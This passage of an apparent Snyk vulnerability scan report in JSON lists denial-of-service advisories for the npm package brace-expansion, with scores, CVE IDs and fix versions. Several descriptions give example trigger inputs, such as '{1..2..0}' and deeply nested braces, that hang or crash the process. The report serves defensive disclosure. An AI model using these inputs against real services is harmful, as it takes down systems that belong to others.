Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub 